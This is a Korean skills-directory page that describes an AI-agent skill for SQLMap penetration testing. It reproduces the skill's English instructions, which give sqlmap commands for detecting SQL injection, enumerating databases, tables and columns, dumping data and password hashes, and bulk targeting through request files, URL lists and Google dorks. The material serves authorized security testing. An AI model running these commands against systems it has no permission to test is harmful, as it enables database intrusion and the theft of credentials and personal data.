본문으로 건너뛰기
Skillpedia
보안33k · #9074

sqlmap-database-pentesting

하는 일

이 스킬은 SQL 인젝션 테스트를 자동화하는 도구인 SQLMap 사용법을 AI 에이전트에게 안내합니다. 대상 데이터베이스를 테스트할 허가를 받은 침투 테스터를 위한 스킬입니다.

사용하는 경우

  • ✓인젝션이 의심되는 웹 파라미터가 있고 SQLMap으로 확인하려 할 때.
  • ✓승인된 테스트 대상에서 데이터베이스, 테이블, 열을 나열해야 할 때.
  • ✓Burp Suite에서 캡처한 POST 요청을 테스트해야 할 때.

스킬 링크

https://github.com/davila7/claude-code-templates/blob/main/cli-tool/components/skills/security/sqlmap-database-pentesting/SKILL.md

복사해서 AI(Claude, ChatGPT, Cursor)에 붙여넣고 지침을 따르도록 요청하세요.

사용 방법

가장 쉬운 방법입니다. 메시지를 복사해 AI에 붙여넣으세요. AI가 스킬을 읽고 지침을 따릅니다.

바로 붙여넣을 수 있는 메시지

Use this skill to help me: https://github.com/davila7/claude-code-templates/blob/main/cli-tool/components/skills/security/sqlmap-database-pentesting/SKILL.md Read the SKILL.md file at that link and follow its instructions for my task.
AI가 이런 스킬을 알아서 찾아 쓰길 원하시나요?무료 Skillpedia MCP를 설치하세요. 한 줄이면 작업마다 스킬 15,000+개 중에서 검색합니다.1분 만에 설치 →

AI에게 요청하는 예시

“승인된 테스트 서버에서 이 로그인 파라미터에 인젝션이 가능한지 SQLMap으로 확인하는 걸 도와주실 수 있나요?”

매주 새 스킬 5개. 읽는 데 1분.

작동 방식

에이전트는 인젝션 지점을 먼저 수동으로 확인한 뒤, 적절한 옵션으로 SQLMap을 실행해 데이터베이스 종류와 구조를 파악합니다.

기술 내용 (원본 SKILL.md)

작성자의 영어 원문을 GitHub에서 그대로 가져왔습니다.

SQLMap Database Penetration Testing

Purpose

Provide systematic methodologies for automated SQL injection detection and exploitation using SQLMap. This skill covers database enumeration, table and column discovery, data extraction, multiple target specification methods, and advanced exploitation techniques for MySQL, PostgreSQL, MSSQL, Oracle, and other database management systems.

Inputs / Prerequisites

  • Target URL: Web application URL with injectable parameter (e.g., ?id=1)
  • SQLMap Installation: Pre-installed on Kali Linux or downloaded from GitHub
  • Verified Injection Point: URL parameter confirmed or suspected to be SQL injectable
  • Request File (Optional): Burp Suite captured HTTP request for POST-based injection
  • Authorization: Written permission for penetration testing activities

Outputs / Deliverables

  • Database Enumeration: List of all databases on the target server
  • Table Structure: Complete table names within target database
  • Column Mapping: Column names and data types for each table
  • Extracted Data: Dumped records including usernames, passwords, and sensitive data
  • Hash Values: Password hashes for offline cracking
  • Vulnerability Report: Confirmation of SQL injection type and severity

Core Workflow

1. Identify SQL Injection Vulnerability

Manual Verification

# Add single quote to break query
http://target.com/page.php?id=1'

# If error message appears, likely SQL injectable
# Error example: "You have an error in your SQL syntax"

Initial SQLMap Scan

# Basic vulnerability detection
sqlmap -u "http://target.com/page.php?id=1" --batch

# With verbosity for detailed output
sqlmap -u "http://target.com/page.php?id=1" --batch -v 3

2. Enumerate Databases

List All Databases

sqlmap -u "http://target.com/page.php?id=1" --dbs --batch

Key Options:

  • -u: Target URL with injectable parameter
  • --dbs: Enumerate database names
  • --batch: Use default answers (non-interactive mode)

3. Enumerate Tables

List Tables in Specific Database

sqlmap -u "http://target.com/page.php?id=1" -D database_name --tables --batch

Key Options:

  • -D: Specify target database name
  • --tables: Enumerate table names

4. Enumerate Columns

List Columns in Specific Table

sqlmap -u "http://target.com/page.php?id=1" -D database_name -T table_name --columns --batch

Key Options:

  • -T: Specify target table name
  • --columns: Enumerate column names

5. Extract Data

Dump Specific Table Data

sqlmap -u "http://target.com/page.php?id=1" -D database_name -T table_name --dump --batch

Dump Specific Columns

sqlmap -u "http://target.com/page.php?id=1" -D database_name -T users -C username,password --dump --batch

Dump Entire Database

sqlmap -u "http://target.com/page.php?id=1" -D database_name --dump-all --batch

Key Options:

  • --dump: Extract all data from specified table
  • --dump-all: Extract all data from all tables
  • -C: Specify column names to extract

6. Advanced Target Options

Target from HTTP Request File

# Save Burp Suite request to file, then:
sqlmap -r /path/to/request.txt --dbs --batch

Target from Log File

# Feed log file with multiple requests
sqlmap -l /path/to/logfile --dbs --batch

Target Multiple URLs (Bulk File)

# Create file with URLs, one per line:
# http://target1.com/page.php?id=1
# http://target2.com/page.php?id=2
sqlmap -m /path/to/bulkfile.txt --dbs --batch

Target via Google Dorks (Use with Caution)

# Automatically find and test vulnerable sites (LEGAL TARGETS ONLY)
sqlmap -g "inurl:?id= site:yourdomain.com" --batch

Quick Reference Commands

Database Enumeration Progression

Stage Command
List Databases sqlmap -u "URL" --dbs --batch
List Tables sqlmap -u "URL" -D dbname --tables --batch
List Columns sqlmap -u "URL" -D dbname -T tablename --columns --batch
Dump Data sqlmap -u "URL" -D dbname -T tablename --dump --batch
Dump All sqlmap -u "URL" -D dbname --dump-all --batch

Supported Database Management Systems

DBMS Support Level
MySQL Full Support
PostgreSQL Full Support
Microsoft SQL Server Full Support
Oracle Full Support
Microsoft Access Full Support
IBM DB
자주 묻는 질문

SQLMap은 무엇인가요?

SQL 인젝션 결함을 찾고 악용하는 과정을 자동화하는 오픈 소스 도구입니다.

어떤 데이터베이스를 지원하나요?

MySQL, PostgreSQL, MSSQL, Oracle 등 다른 데이터베이스 시스템도 언급합니다.

서면 허가가 필요한가요?

네. 스킬은 서면 승인을 받은 테스트에만 사용해야 합니다.

상세 정보

작성자의 원본 설명

This skill should be used when the user asks to "automate SQL injection testing," "enumerate database structure," "extract database credentials using sqlmap," "dump tables and columns from a vulnerable database," or "perform automated database penetration testing." It provides comprehensive guidance for using SQLMap to detect and exploit SQL injection vulnerabilities.

repo: davila7/claude-code-templates

인기도

GitHub 스타
33k
순위
#9074
라이선스
MIT
업데이트
2026. 11. 2.

이 스킬이 유용한가요?

0

로그인 투표하려면 로그인하세요.

댓글

  • …

이 저장소의 다른 스킬

비슷한 스킬